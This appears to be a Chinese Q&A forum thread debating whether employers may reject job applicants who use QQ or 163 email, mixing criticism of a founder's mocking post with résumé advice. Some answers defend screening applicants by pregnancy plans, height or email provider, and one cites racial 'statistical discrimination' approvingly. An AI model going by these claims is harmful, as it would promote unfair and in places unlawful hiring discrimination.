莫名其妙……内外有别都分不清就不要做 HR 或者媒体了……拒绝用 QQ 邮箱的，这完全就不是合理不合理的问题，其实说白了，就算不合理我就是拒绝怎么样了？一个私人的公司，你当然可以拒绝 QQ，甚至可以拒绝 gmail 的，拒绝到现在还用 hotmail 而没有升级成 outlook 的，拒绝没有设置姓名的，拒绝姓名设置成中文的，拒绝姓名设置成英文的，拒绝用 doc 格式的，拒绝用 pdf 格式的，拒绝没有英文简历的，拒绝没有中文简历的，拒绝没有中英文配套的，拒绝中英文混用的。你还可以拒绝低于160cm 的，拒绝高于200cm 的，拒绝处女座的，拒绝没生过孩子的，拒绝计划要生孩子的。（我真没人性啊……）你甚至可以只招条顺脸盘漂亮的。你可以要武断就武断，你甚至任何数据都不需要。扯什么“用XX邮箱的普遍都YY”没有任何意义，拒绝人需要理由么？（这就是现实……）当然这样招聘者当然可能漏掉些人才，不过人家牛气，自觉得可以但这个风险。你就算设了 spam filter 然后把 QQ 邮箱的来信都直接过滤了，你不说出来没人知道，也没人会在知乎上发问题问。但是，你在围脖上说“用XX邮箱的都是YY，你们都活该找不到工作”，其实和说“160以下的，200以上的，处女座的，都活该找不到工作”没什么两样，地图炮是不能随便开的，记得某个说女性不适合数学的名校校长都辞职了，号称做媒体的家伙怎么这种道理都不懂呢？
我是在创业公司，一直也在给公司招人，我知道为什么吐槽，也有同样的感触。但是我不理解的是你居然用邮箱去给人划分三六九等，并且我强烈的认为此人情商和智商都不高。我昨天晚上从头到尾翻了一遍关于这个的讨论，只恨自己没有截图。首先是你自己说用QQ和163邮箱的是low逼，无论是你微博还是你昨天评论里都提到过，明显的看不起，都是你自己说出来的，然后看看你现在的反馈，自己说出去的话不承认了，还把微博删了？是男人吗？我敢问一下，给这厮赞同的那400多人里有多少人看到这家伙昨天晚上的在微博上说的话了？在微博上因为放狂被人骂，最后到这里找平衡，还获得这么多赞同。昨天他在微博上被骂很多原因根本不是因为拒绝QQ和163邮箱，而是他那个犯贱的态度，一副用着两个邮箱就是三等公民的态度，请搞明白情况再点赞可以吗？===============================================================中午看到骆同学自己说出去的话都不承认，一面在微博上鄙视用这两个邮箱的，一面过来又冠冕堂皇。所以有点怒，现在正式回答一下这个问题。首先对于招聘邮件我有三个建议：标题写明确了应聘职位和你的名字，最好邮件的地址是『你的名字@某个邮箱』这种格式。附件尽量用pdf的，附件名字最好写清楚了是谁的简历，不要只是简历两个字。除了附件的简历最好稍微介绍一两句自己，一下子能看过去最好，对你有个初步了解。前两天主要是整理方便，后一条是为了给我一个初步的印象。另外对于程序员最好附上一个github和stackoverflow之类的。至于是不是qq邮箱不是我关注的问题。不过我其实比较喜欢应聘者提供一个qq号的，我习惯去百度一下这个qq号看应聘者都会在什么地方留这个号码之类的，有的时候会有很微妙的发现。
这个题目讨论到这里，其实已经差不多了，我来想说一些题外话，也一并与
等反对派的人探讨。其实不同的人之所以对这个问题有不同的看法，在于不同人是用不同的方式对待简历的。对于一类人，认为，简历的要素，是要尽可能的被更多的企业关注，得到尽可能多的面试机会。对于另一类人，认为，简历的重点，并不是要让尽可能多的企业关注，而是仅仅需要让合适的企业关注。前一类人或许没有意识过一个问题：企业在筛选自己的时候，自己也在筛选企业。简历如果能够把不符合自己需求的企业自动过滤掉，未尝不是一件好事。使用 QQ 邮箱也许会被一部分企业过滤掉，对前一类人来说，这无论如何都是坏事，但对后一类人来说，这却是他本来的目的，因为他本来就需要把那些『根据邮箱后缀筛选简历』的企业筛选掉。=======说起这里，知乎曾经有另外一个问题，大意是问为什么骗子短信，骗子邮件里面的文字，总会有一些明显的逻辑硬伤？如果他们能够把那段文字写得更完美完善真实一些，岂不是可能骗到尽可能更多人的回复？我不记得那个问题的链接了，有找到的人可以帮忙提供一下（感谢
提供果壳链接：），关于上面这个问题，知乎有个很经典的答案，是说，骗子短信，骗子邮件，是必须保留那些逻辑硬伤的，因为对客户受众的筛选，也是这个短信的目的，否则会极大的增加行骗成本。如果发了一个完美的每个人都会相信的骗子短信，那么绝大多数人都会给我回复，给这么多人行骗，成本太高。但若发的是一个逻辑硬伤很多的骗子短信，可以预见，能理睬跟回复的只有那些相对认知能力较低的人群，对这些人群进行行骗就容易得多。=======虽然以上这个例子对于招聘来说并不是非常好的类比，但是，我想表达的是：一段文字，一段文本的投放，本身就是对目标客户的筛选。对简历的制作与投放，本身也同样包含了对目标企业的筛选，简历的目的并不是尽可能多的获得企业关注，而是获得自己理想中的目标企业的关注。所以，目标企业与自己的价值观取向稳合，这很重要，浪费时间去面试其他企业并无意义。在现在这年代，至少从我自己的感觉，找工作本身并不困难，难的只是找你满意的工作。如果你的简历本身没有足够的筛选特性，那么你会浪费太多时间去应聘那些并不适合你的工作，而通常来说，去面试去应聘常常意味着需要请假，需要放下手上的工作进行一定准备，这对你来说也都会是一种代价。与其如此，倒不如一开始就考虑简历本身的目标受众，以及你需要筛选哪些目标受众。结论：在我看来，一派的观点之所以与另外一派的观点格格不入，其重点就是预设立场。如果你预设立场认为这个发 QQ 邮箱邮件应聘的人找不到工作，到处倒苦水，那么你自然觉得，原博主怎么说都是对的；但如果背景修改为这个发 QQ 邮箱邮件的人，没有能够得到博主的重用，然后锲而不舍继续投递简历，后来被腾讯某大大相中，去了腾讯面试，最后成长为腾讯某个BU的独挡一面的人物，那么这个问题又该如何评价呢？或许，多年后的他，应当庆幸自己使用了 QQ 邮箱发送简历，应当庆幸自己被老骆这种老板拒之门外吧！因为，若没有筛选掉老骆这样的企业，如果进了老骆的公司，他或许就不会继续去到另外一家公司投简历，也就与腾讯失之交臂了，失去了自己原本可以有的发展空间，这失去得更多。而这，只因为一个简单的道理：获得更多的面试机会，并不意味着这是一份更成功的简历。
看到这个问题，还没有去检查答案，我就直觉“靠，战争要开始了”。立马想起一件往事。2004年，我在微软。彼时微软在中国，是技术界关注的头号公司，属于屁大一点事情，都可以上媒体头条的那种。年纪轻的想像一下这两年苹果的热度，大概就能理解。有一天我的老板，写了篇文章，标题大意叫做《出租车司机的MBA课》，讲述了遇到一位出租车司机，用经济学的方法来提高收入，快乐工作的故事。这篇文章意想不到的火了…各种媒体报道，然后我跟HR聊天，她跟我说：“这两天北京（公司）好多人打电话，问**是谁”。于是我的老板，无意之中立即成为了知名人物（如果当时有微博的话，肯定立马热门大V）。而他的文章，标题也被媒体扩充为“月薪8000的出租车司机给微软高管上的一堂MBA课”。事实上，当时他只是部门经理。当时我们也就分析，如果不是因为里面有“微软”两个字，这片文章虽然写的不错，但根本没法引起那么大的社会响动。真是三十年河东三十年河西，现在Microsoft的故事，人们连听的兴趣都没有了。成为媒体焦点之后，我老板的博客上，立马引来了一大堆的评论。自然地，喷这片文章的是多数。我总结了一下，至少有这么几种类型：楼主编的吧，为了炒作；你只是一个微软的小经理，还冒充高管，真恶心；微软公司一向是垃圾，微软的人也垃圾；这个司机真是没公德，做司机就不能挑客（这个司机并不会拒载，但是会有选择的接受客人，具体请参考文章），万一有孕妇怎么办，万一所有司机都这么做怎么办；这个司机明显是瞎编的，还针对司机所说的运营数据，进行反驳；我靠，你说你能赚8000，让我以后怎么跟我老婆交代（司机同行的看法，据说这位司机后来招收到了同行的漠视）；微软还请出租车司机来做讲座，编的吧；微软还请这样垃圾的人做讲座，真是垃圾；这有什么了不起的，也值得拿出来说，赚更多的都有，比如我家邻居的侄女丈人家的那条狗；听说**（我老板）以前曾经干过blablablabla等不得体的事情；我看了你的文章，写的真是狗屎，比如*******，还好意思来写这个。如果你分析一下，”QQ邮箱求职问题”下面的评论，应该可以和上述各种类型对号。这篇文章引发的反应之大，惊动了公司的PR部门。PR决定把这事给低调处理掉…貌似当时正值Bill
G访华的前夕，估计PR被吓得够呛，生怕出什么乱子。当然作为小人物，我这是自己猜的。我也不知道有没有关系，最后我的老板关掉了博客上的评论功能，当时已经有1000多条评论了。反正如果是我，无论有没有外界压力，我肯定都会把评论关掉。那么多喷子（当时还没有这个词），烦死了。当时我们部门有一个制度，每周五下午，会有一个分享性质的讲座，可能是内部的人，也可能是外部的人，主题也是五花八门都可以，叫做Friday
Forum。文章中写的邀请司机来做讲座分享，就是在这个时段。在讲座上见到了那位司机，整个讲座也觉得不错，他的一些理念和做法，其实都有可以学习的地方。至于数字是不是完全可靠，有没有浮夸的成分，我并没有特别的兴趣去考证。学到一些东西就好。事实上我觉得他的讲座，从逻辑还是内容，估计都可以杀掉绝大多数企业高管不知所云的谈话。当时，我还是第一次切身体会“喷子云集”的场面，所以那次事件给了我很大的影响。从那以后，我把人分为两类：看见一件事情，就能从中学到些东西的人；看见一件事情，就能找到别人的问题去指手画脚，但自己却没啥长进的人。回到这件”QQ邮箱投递简历”事件，说实话，如果你以前是用QQ邮箱求职的，而且是一串阿拉伯数字，或者火星文的名字。无论 @骆轶航 先生的态度如何，其实分析一下他这种决策背后的思路，应该对于求职都是有帮助的。但很遗憾的是，大多数评论都是来发泄对骆的不满…恐怕下来之后，睡一觉又回到从前。例如：据说，有更加傲慢的做法：收到一堆简历，先分为两堆，随机的扔掉一堆，理由很简单：我们不招运气太差的人。话说我就遇到过这样的公司，还不幸成为运气差的那类，之后这类公司相关招聘再也不去了。求职是相互的，尊重也是相互的。尽管目前就业压力大，不代表我们没有选择的权利。怒赞之~我就是Q邮箱的愚粉，坚持了一段时间Gmail，但是超级不稳定啊，打不开啊打不开。。。工作需要每天登陆Q，Q邮箱后勤给力啊。。。我犯傻每天跟个八爪鱼一样要手舞足蹈的看邮箱收邮件么？我不能，当然，自己心情好、Gmail心情好，我还是偶尔跟他违和一下。。。我有网易邮箱和QQ邮箱，但是我常打理的是QQ邮箱，因为方便简洁，为此我诸多事情选择的都是QQ邮箱，因为使用某邮箱而被鄙视，被刷掉的知道真相的人或许应该庆幸，还好被你刷了！答主十分赞！就用的QQ邮箱，因此而淘汰的企业我也看不上。假如我只是根据这个帖子招人的话，我肯定会砍掉上面这种回复的，而是选择诸如此类：就问题而言，反对+没有帮助。 他的语气是道德问题，个人修养问题， 但的确是事实，用不专业的邮箱只会减少面试机会。 如果这道题是如何评价他的这种微博言行，我会点赞一个可以从事情中学到点东西的人，应该要好过“我没错，我就是这样子，我不用改，是他们的错误”的人。像“我常打理的是QQ邮箱，因为方便简洁”这种话，明显就是关注自己的方便。但问题在于，增加求职成功率的关键，在于怎么让雇主方便舒服。如果一个人看完这么长的内容，还是回到“哥怎么方便怎么来”，我真是觉得挺可惜的，白白浪费了学习的机会。比尔盖茨说：“生活是不公平的，学会适应它”。我严重反对 @庄表伟 先生的回答。首先他 内容很大一部分，是在描述对骆轶航个人的看法和情绪，而不是就事论事的讨论问题。这种“针对人”的做法很容易导致讨论失控。而且一旦你针对人，很多事情就属于“猜心”而不是事实。例如“关于傲慢”、“关于轻率”，这种只能说是一种个人感觉，并不等同与对方的意图。例如轻率：当你在微博里发了一堆那样的文字之后，没多久，又删除了全部的言论。
有本事，有底气，你留着别删啊！我在想，一个潜在的应聘者，看到他潜在的未来老板这样的表现，将会是如何感想？这个…你如何确定这是轻率的表现呢。如果换一个对骆持支持立场的人，他会说：“这说明果断，发现可能导致的问题，立即处理”。或者如果骆坚持不删除，是不是可以说他是“死不悔改”，再加上一条傲慢的理由？这种争论可以永无休止…人们无法判断对错。而且， @庄表伟 先生说：“我是一个儒家信徒，我相信人应该追求做一个君子！做一个士！”。在我的理解里，君子是“严于律己，宽以待人”的。但从他的回答里，我的感觉却是：“骆拉黑了你，你就拉黑他。你说骆拉仇恨，于是你就帮他拉了更多的仇恨。骆情绪化，于是你也就情绪化。你觉得骆不够尊重人，但是怎么我感觉你也不够尊重他呢？如果你觉得骆不够君子，怎么就把自己的言行放到跟他一样的路线上呢？”在看评论时，看到
@庄表伟 先生说：“正常的HR，都会跟你交流，’XX先生，能否请您再发一份word格式的简历过来。’”以我的经验，正常的HR在看简历时，打不开或者简历格式不好，都会直接跳过或者删掉。从来没听说过会请人再发一份。就像逛淘宝店，啪唧搜出几百家网店，哪一家打不开，恐怕你就直接找下一家，根本没耐心过一段时间再去访问。所以我的猜测是：庄先生是在谈他自己的经历，混杂了理想中的状态，但却并不代表这个社会普遍的现状。现实生活中，通常你不会遇到庄先生这样会请你再发一份的HR，也不会遇到骆先生、 @Joey Yin 这样愿意讲一些实话的招聘人。而是永远对你保持不远不近的态度，却不肯告诉为什么你就是得不到工作机会的原因的HR。如果你真的觉得社会就是庄先生讲的那样，恐怕在应聘某个关键职位的时候，你就因为一个小细节被甩掉。当然你暂时不会愤怒，因为HR不会像骆先生那样告诉你一些真话。那么看了这个问题，到底怎样你才能收益更多呢？从庄先生那里得到安慰，还是从骆先生那里得到真相？从目前的赞成票数来看，显然是庄先生领先。但是我个人的观点，更希望是探讨真相而不是探讨道德。我觉得知乎是一个讲知识的地方，而且就像FBI里面挂着的牌子所说：了解真相，你才能获得自由。当然有人会说，可是他态度不好呀。那又怎样呢？我的建议是关注你自己的成长，不要在意他人的态度（何况很多时候，我们对别人态度的理解都是错误的，比如这个案例里面，你真的觉得骆是在鄙视所有用QQ邮箱求职的人吗）。别人免费教育你，难道一定还要态度和蔼，你才能听的进去？那这样的话，恐怕你受教育的机会会少很多很多。这个就像为什么面试官不愿意告诉求职者，他们不被录取的真实原因。其中一点就是：不少人受不起那个打击，总觉得自己受了误解和委屈，那这样面试官还不如说几句“哎呀你是你很好，只是到我们这里太屈才了”。嗯，女神拒绝屌丝版就是“你真的挺好挺好的，就是我最近真的真的不想谈恋爱”。感觉舒服了，但下次还是死的不明不白。可能还有人会说：“这可是公平问题”。先问问自己，你真的在乎的是公平吗？如果这条规则对你有利呢，例如你是巨蟹座，然后有家公司本身就是你心仪的公司，而且说明“专招巨蟹座”。你还会说“对不起，这不公平，除非你们对12星座包括处女座提供同等的招聘机会，否则我拒绝接受它”吗？史玉柱说：“中国人大多数并不在乎规则的公平，只是在乎自己是不是规则的既得利益者”（大意的复述，没有查原文）。我猜测在这个文章里谈公平的大多数人，也不例外。真正在推动社会公平的人，常常是接受不公平的现实，然后在现实中采取行动去改变他的人。比如比尔·盖茨，再比如敏感词。
1.QQ的用户体验非常好,事实上我所在的公司用的就是QQ独立域名的企业邮箱.2.QQ邮箱的用户平均用户质量真不如眼(逼)界(格)更(更)广(高)触(早)网(期)更(码)早(农)的Hotmail,Gmail,Yahoo用户,甚至不如163.具体表示为:2.1QQ邮箱的地址通常是: 而 高逼格的地址通常是:姓名@ 或者 姓名@自有域名.com.明白邮箱是一种通讯工具的同学,应该知道这是什么区别.2.2QQ邮箱用户发来的邮件经常主题不清2.3QQ邮箱用户经常给我发来发件人为:"ぐ僛騙吥必ゞ"的邮件2.4QQ邮箱用户的行文经常连让人看懂都做不到愿意装逼,并且装的好的用户,至少尊重自己.（当然不装逼不表示不尊重自己）3.QQ邮箱的用户通常是被动选择产品,而其他邮箱的用户更愿意主动发现. 主动发现是一种很可贵的品质4.大多数来自QQ邮箱的求职者学历更低以上其实仅说明其他邮箱的用户总体质量更高，但并不能说明QQ邮箱用户的个体质量更低。我所在的公司是一家小公司，为了不辜负任何一个求职意向，我会认真的查看每一份简历。但当我每天要处理数百封的邮件简历时，我想我是很愿意用发件地址来做一个过滤器的。以上大多数观点并没有做过调查，也没有数据支撑，纯凭我个人的刻板映像。PS:我学历很低，而且我以及我的公司都是QQ邮箱用户，但我仍然要这样表达。------------------------------9.15补充------------------------------我说过我个人以及公司都用QQ邮箱，并且也是360、百度、腾讯等产品的low B用户。但我仍然支持骆轶航的观点(记住是支持他的观点，不是支持他这个人，而且我估计我是讨厌他这个人的)，这里应该适用只问事实不问动机()归纳、总结一下反对者们的意见：1.这么做可以，这么把残酷的事实说出来就是政治不正确，而且语气粗俗霸道一副高高在上的嘴脸。回复：是的政治不正确，但为什么要政治正确。粗俗霸道高高在上的嘴脸是不对，我也不喜欢，但并不妨碍我支持他的观点。2.基于统计学的过滤方法会误伤，并非完美。回复：是的，会误伤，并非完美，但大多数人需要的是一种在当前条件下有效的方法。完美是一种追求，但确实不好做到。基于统计学的过滤方法，直接、粗暴、低成本并且有效。至于拿“处女座过滤”做为类比，我只能说呵呵。拿“XX省”过滤这种还真有，并且我会告诉你那些政治正确的公司也这么干吗？3.腾讯、360等企业的产品几乎都是用户体验的典范。为什么是low b?回复： 使用gmail的用户可以轻易理解、适应并熟练使用QQ邮箱，但反之不一定成立。 QQ邮箱出的晚，而且用户覆盖面广，使用门槛低，所以这些产品的用户出现：选择能力差，发现能力差，主动性差，信息收集过滤能力差，适应能力差等情况的概念远高于Gmail的用户。（这里只讨论整体，不讨论个体） 不应该说这些产品的用户low，而应该是gmail用户更优质，但其实是一个意思。4.这种HR也是LOW逼，公司应该也不咋地。回复：基于统计学的过滤，这是非常对的。因为靠谱的HR可以这么做，但真不应该这么说。高高在上的嘴脸，我都想抽他。针对我文中“装逼”字眼提出批评的知友们：装逼是我用以自嘲的方式，不知道批评者们看懂没。本来想改成“腔调”之类的字眼，但我何必呢。理性的并且不懂这些规则的求职者，应该是会从骆少的残酷表达中受益的。心灵脆弱的适用能力差的，则不然。
在下无名小辈，今天白天随便刷微博也看到了有人转这条，匆匆过一眼。拒绝用QQ邮箱发应聘邮件的求职者，这个事情，我认为是不合理的。当时对于几位坚决抵制用qq发简历的“名人”，第一反应用一句不太恰当的话来表述是：“你无耻的样子很有我年轻时的神韵。”当然，这里用“无耻”两个字有些人身攻击了。因为我不能因为一个不同观点，就完全代表一个人的“气质、情趣、价值观和方法论”和我不同，而说是“无耻”，更不能说是“low逼”，所以坚决不能人身攻击。我自认为我是一个客观理智，能冷静分析问题的人，所以，我不会因此而取消骆少的微博什么的，因为之前的一财很多文字，现在PingWest的一些内容还是不错的。这些内容总是能提高我的层次。再说那句话，为什么是我“年轻时的神韵”？因为我曾经在三四年前也看不起用qq邮箱的人，甚至自己根本不用qq邮箱，因为那时年轻嘛，做了几年产品，有点小清高，觉得自己有些高端了，回忆大学毕业的时候就会用Google的企业邮箱，没想到竟然在行业内还有人用qq邮箱……邮箱只是一个工具，qq邮箱的优点，我不再多说，也不是这个主题要讨论的内容。关于很多人qq邮箱发过来的邮件还是qq昵称这个事情，我个人觉得这不重要，因为qq的从最开始的产品属性在用户名上就是非真实姓名的特点，大家喜欢用一些奇怪有个性的昵称来做自己的网络代号，我想骆少等人也是很早就上网的老师，应该都经历过qq就是上网的时代，反正我这个“low逼”是经历过的，所以现在保留了2个6位的qq。稍微有点跑题，什么，你们说我在炫耀 ？对啊，炫耀是人的天性啊。看骆少，在炫耀自己知道Google Apps for business的服务，在炫耀自己知道Evernote for business，甚至炫耀自己知道Wordpress……好了，不说了所以说，应聘的人用qq发个简历，就算没有改自己的名字，我也不会因此而错失可能的一位人才。就算没有按邮件的标准行文格式写，我也不会因此而错失可能的一位人才。对于没有附件和意思表达不清，是另一回事儿，这与使用什么邮箱服务半毛钱关系也没有。我可以给使用Gmail，Yahoo等邮箱服务的求职者加一点第一印象分，因为他们看起来专业一些，但这只是第一印象分，只是看起来专业，真正怎么样，还要看简历和面谈。但我不会是还没有看简历，就给用qq发简历的人减分，更不会拒绝看qq邮箱中的简历。关于简历附件的文件格式是什么，是不是在简历中有个人博客，是不是有Linked这些东西，我觉得和是否使用qq邮箱的关系也不大，所以我不想多谈。因为：1、不是名牌大学毕业的就一定优秀，虽然，很客观的讲，名牌大学毕业的整体会优秀一些，但三流本科院校毕业的人一样有非常优秀的人，更何况如果不是毕业生，这方面的因素占的就更小。2、坚持写专业博客的人，可以说他有思想，有分析，爱思考，爱记录，但并不能绝对的判断这个人的工作能力很强。千万不要高大上，不要装高端，写文字不要俯视。更不要因为使用什么邮箱服务而把人分为三六九等。大家都想找到和我们气质、情趣、价值观和方法论相近的同事，但自己打造所谓的"门槛”和“气质”是不科学的。能把优秀的人吸引进来，并把他影响为符合你的气质、情趣、价值观和方法论，这正是一个优秀管理者的能力所在。最后补充一下我回答完这个问题，感觉自己好象“站队”了一样，在关于使用qq邮箱投简历这个事情上，一方是坚绝反对，一方是觉得无所谓。但我想一定有从qq邮箱中找到好简历的人也站到了“坚决反对”一方那边去，因为这样才显得自己“上档次”但我不装，怎么想就怎么说了。
这件事情让我想起了知乎上的另一个问题，关于统计性歧视。就比如说美国雇主不大愿意雇佣黑人，因为黑人的犯罪率较高。有比如说企业愿意招名校的学生，因为从历史数据看，名校的学生有相对更高的能力。其实，面对统计性歧视我们也真的做不了什么，既然换个邮箱其实也不费什么功夫，为什么不换一个更专业的邮箱呢
找工作，说白了，就是相亲。你看得上他，他也得看得上你。只有你们在那一霎那互相看对眼了，你就可以去这家公司任职了。你有你的个性，公司也有公司的个性。你可以因为公司地址太偏僻这样的理由不去这家公司，公司也可以以你用了他们看不对眼的邮箱地址不选择你。这不是合不合理到问题。谈到个人喜好，就是个心情问题。看开点。仅仅是份工作而已。养家糊口、实现价值，并不是一定要在某家公司才能完成。再说了，如果一家公司有着与你不同的价值观，即使你靠迎其喜好忍着不快加入了，又能待多久呢？我是不赞同强忍着不快去某家公司工作的。人活着，心情比赚钱重要。有好心情，可以穷开心。但是光有钱，是买不来好心情的。
有几年工作经验的或者行业新星一般没几个自己主动用邮箱投简历的吧？一般不都是找内推或者干脆猎头/hr打电话上门的么？所以换句话说能大批量收到的应聘邮件不都是可怜的学生娃们投的么？学生娃娃们没有经验，low点就low点嘛，很正常啊，除非天资聪颖或者有高人点拨，否则学生娃们开始求职的时候犯些错误很正常啊，我之前碰到过很多学生们的简历或者作品都惨不忍睹，但是稍微调教一下有不少都进步特别快啊，干嘛上来就把人家一棍子打死啊。好吧好吧工作量大心情不好，打死就打死啊，都一个（联合）创始人了，在学生娃面前秀优越感把人家变得一无是处都上升到教养层面，到底是闹哪样啊，痛扁小朋友很有乐趣么……其实这事儿解决方法用划邮箱线实在是效率太低而且解决不了实质问题（不懂礼仪的换个gmail不还是不懂么……），还不如划经验线标题线什么的来得实在不过假设po主愿意就是炒作还不是解决简历质量问题的话那还是当我上面那句话没说吧
认认真真活了20年，用QQ邮箱把自己用成了low逼……我觉得大家不要吵了，吵来吵去无非就这么几个观点。1。骆老师说的对我们找工作有帮助。2。用QQ邮箱的人通常不够靠谱。3。骆老师人格有问题。我个人有个建议，其实很多邮箱都有自动转发功能。我为了防止被别人看出自己是low逼早就勾选了，我本来以为已经安全了，没想到在163这里还能中一枪。至于什么政治正确之类的话，我认为最大的问题是往往根本没政治就谈正确，有的招聘简章上根本没提邮箱的问题，没想到就成为潜规则了，反正我在社会上亏吃多了，这个事情长个教训我也认了。人品有问题就是人品有问题，不关政治正确什么事。最后，我希望丁磊解释一下为什么用163的是low逼。